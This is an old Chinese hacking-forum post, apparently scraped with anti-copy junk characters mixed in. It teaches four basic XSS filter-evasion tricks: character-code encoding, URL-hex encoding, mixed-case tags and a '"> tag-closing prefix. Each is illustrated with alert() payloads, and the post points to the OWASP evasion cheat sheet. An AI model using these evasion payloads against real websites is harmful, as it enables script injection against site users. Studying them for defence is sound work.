找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
  B! W2 E: ~! {: `' Y1.转换为ASCII码
( u: \1 k$ Q# o* D例子:原脚本为<script>alert(‘I love F4ck’)</script >
/ M9 q/ I  n* i/ |4 W通过转换,变成:8 G, h5 {- ?9 ?+ c" t; s: s
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
" j% f" c4 t& l! m/ `* G$ z 0 O3 s" E" b! c& i7 v% P
2.转换为HEX(十六进制)" R$ A( @, g, s
例子:原脚本为<script>alert(‘I love F4ck’)</script>  }, ~  `8 M9 b$ Q
通过转换,变成:
, W/ h7 U! A7 h/ U4 ?. ?%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e% Z" r' U" V5 B: x* f
- h: X, R8 M- N1 _' Q* \
3.转换脚本的大小写( [! I' v" r3 ]! B' A) J
例子:原脚本为<script>alert(‘I love F4ck’)</script>
- m, h$ N$ U1 f2 I7 J转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>7 D7 L8 q( Z% _$ ?
7 o' l7 e) p- |3 P
4.增加闭合标记”>
( t2 T3 |& z) A- h3 x. \例子:原脚本为<script>alert(‘I love F4ck’)</script>
; U$ J9 r6 T* N3 z+ Z0 C- G& M转换为:”><script>alert(‘I love F4ck’)</script>
. Y- y( o. V8 v; G2 u% P更详细绕过技术请参考此网页
$ T" y) B5 g. U: m; jhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet" n+ \- a9 s& Y  g8 q5 y- R! c7 G
% T! |, r. a+ ]" k
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表